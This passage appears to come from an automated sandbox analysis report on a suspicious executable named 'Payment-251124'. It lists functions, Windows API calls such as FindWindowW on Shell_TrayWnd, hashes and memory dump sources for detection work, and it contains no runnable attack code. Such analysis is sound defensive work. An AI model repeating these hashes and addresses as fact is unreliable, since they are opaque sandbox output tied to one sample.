                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Message_doexit
                                                        • String ID: AutoIt$Error allocating memory.
                                                        • API String ID: 1993061046-4017498283
                                                        • Opcode ID: ab7915eba036a54f0155cc7ae416e98ef45aa093f40a13e7aa7e41bb4c84033d
                                                        • Instruction ID: ab0c4fd518c0d57af3f513f0f8b988b56dc4b85c10d010e33f0e20c15c1bb4ad
                                                        • Opcode Fuzzy Hash: ab7915eba036a54f0155cc7ae416e98ef45aa093f40a13e7aa7e41bb4c84033d
                                                        • Instruction Fuzzy Hash: 99D0C23238035C32C21036986C07FC475888B15B52F090026BB0CA96C249E2D98111DA
                                                        Function 00F3AE86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetSystemDirectoryW.KERNEL32(?), ref: 00F3ACC0
                                                        • FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00F3AEBD
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: DirectoryFreeLibrarySystem
                                                        • String ID: WIN_XPe
                                                        • API String ID: 510247158-3257408948
                                                        • Opcode ID: 14d186ddf0b6efc38c92bb6388171640fcdba9d7213b6beda26a6d06d83419ad
                                                        • Instruction ID: da701c1c75db05f4e7ed8296d1072ac06464786de37094520b7dced14bdf82d3
                                                        • Opcode Fuzzy Hash: 14d186ddf0b6efc38c92bb6388171640fcdba9d7213b6beda26a6d06d83419ad
                                                        • Instruction Fuzzy Hash: 47E06D71C04509DFCB11DBA6DD44AECB7B8AB98350F10A086E852B2260CB709A85FF22
                                                        Function 00F286CC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00F286E2
                                                        • PostMessageW.USER32(00000000), ref: 00F286E9
                                                          • Part of subcall function 00F07A58: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00F07AD0
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: FindMessagePostSleepWindow
                                                        • String ID: Shell_TrayWnd
                                                        • API String ID: 529655941-2988720461
                                                        • Opcode ID: 994d3adc6b776d7f5ad6c792d70885d40e12e0d2812474e4d29c24448489802c
                                                        • Instruction ID: 8626a71a44977bd0e86b13b56dbd8a57bf738501905947fd2bb404cc85c93d48
                                                        • Opcode Fuzzy Hash: 994d3adc6b776d7f5ad6c792d70885d40e12e0d2812474e4d29c24448489802c
                                                        • Instruction Fuzzy Hash: 26D022323C03187BF22473309C0BFC63A089B16B10F000805BB49EA0D0C8E8F900E715
                                                        Function 00F28698 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00F286A2
                                                        • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00F286B5
                                                          • Part of subcall function 00F07A58: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00F07AD0
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: FindMessagePostSleepWindow
                                                        • String ID: Shell_TrayWnd
                                                        • API String ID: 529655941-2988720461
                                                        • Opcode ID: cc363a904462feb453188702e3c87a12ac96556a2960e02107831070e3cf7c1a
                                                        • Instruction ID: b6fb4fc34b92f63c2a60dcb31f5700bceecbf6979c10cffcde33092d4af7d0a1
                                                        • Opcode Fuzzy Hash: cc363a904462feb453188702e3c87a12ac96556a2960e02107831070e3cf7c1a
                                                        • Instruction Fuzzy Hash: EDD02236384318B7F22473309C0BFC63A089B11B10F000805BB4DAA0D0C8E8E900E710